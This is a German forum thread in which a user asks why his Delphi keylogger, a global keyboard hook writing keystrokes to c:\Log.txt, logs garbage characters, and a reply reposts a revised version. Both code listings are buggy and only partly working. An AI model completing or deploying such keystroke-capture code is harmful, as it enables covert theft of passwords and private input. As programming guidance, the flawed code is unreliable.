Array-Daten zu String zusammensetzen?

Diese Seite verwendet Cookies. Durch die Nutzung unserer Seite erklären Sie sich damit einverstanden, dass wir Cookies setzen. Weitere Informationen

  • Array-Daten zu String zusammensetzen?

    Hallo!
    Ich versuche mich gerade zu Übungszweicken(wirklich keine schlechten absichten) an einem Keylogger. Ich habe ein Array, das mit Daten vom Typ byte gefüllt ist. Dem Array werden die Daten aus wParam zugewiesen. Diese Daten versuche ich jetztz einzeln in Buchstaben umzuwandeln und zu einem einzigen String aneinander zu reihen. Den String wird dann in einer TextDatei ausgegeben. Jedoch kommmen keine vernünftigen Buchstaben raus sondern immer irgendwelche komischen Zeichen: z.B.: $$$$$ Hier mal der Code:
    [delphi]
    function GKeyBoardHook(code: integer; wParam: word; lParam: longword): longword;stdcall;
    var
    Log: TStringList; //Log-Datei
    KeyString: String;
    KeyArr: array [0..44] of byte; //Array für die Tasteneingaben; Chr braucht byte
    z: integer; //FOR-Schleifenvariable
    begin
    case Code < HC_ACTION of
    True: //Result := CallNextHookEx(KeyBoard_HookHandle, Code, wParam, lParam);
    else
    //lParam Flags
    if (lParam and $80000000)= 0 then begin
    //HIER BEGINNT DER EIGENTLICHE CODE
    Log := TStringList.Create; //virtuelles Objekt (Datei) wird erzeugt
    Log.LoadFromFile('c:\Log.txt');
    KeyArr := wParam;
    i := i+1;
    if (i = 1) then begin
    for z := 0 to 1 do begin
    KeyString := KeyString + Chr(KeyArr[i]);
    end; //end der for schleife
    Log.Add(KeyString);
    i := 0;
    Log.SaveToFile('c:\Log.txt');
    end //end der if clausel
    else
    Result := CallNextHookEx(KeyBoard_HookHandle, Code, wParam, lParam);
    end;
    end;
    end;
    [/delphi]

    Was läuft da schief bzw. wie kann ich des anders machen?

    thx und mfg
    Paddymann
  • klar gern:


    Quellcode

    1. function GKeyBoardHook(code: integer; wParam: word; lParam: longword): longword;stdcall;
    2. var
    3. Log: TStringList; //Log-Datei
    4. KeyString: String;
    5. KeyArr: array [0..44] of byte; //Array für die Tasteneingaben; Chr braucht byte
    6. i: integer;//Arrayvariable
    7. begin
    8. case Code < HC_ACTION of
    9. True: //Result := CallNextHookEx(KeyBoard_HookHandle, Code, wParam, lParam);
    10. else
    11. //lParam Flags
    12. if (lParam and $80000000)= 0 then begin
    13. //HIER BEGINNT DER EIGENTLICHE CODE
    14. Log := TStringList.Create; //virtuelles Objekt (Datei) wird erzeugt
    15. Log.LoadFromFile('c:\Log.txt');
    16. i := i+1;
    17. KeyArr[i] := wParam;
    18. if (i = 7) then begin
    19. for i := 0 to 7 do begin
    20. KeyString := KeyString + Chr(KeyArr[i]);
    21. end; //end der for schleife
    22. Log.Add(KeyString);
    23. i := 0;
    24. Log.SaveToFile('c:\Log.txt');
    25. end //end der if clausel
    26. else
    27. Result := CallNextHookEx(KeyBoard_HookHandle, Code, wParam, lParam);
    28. end;
    29. end;
    30. end;
    Alles anzeigen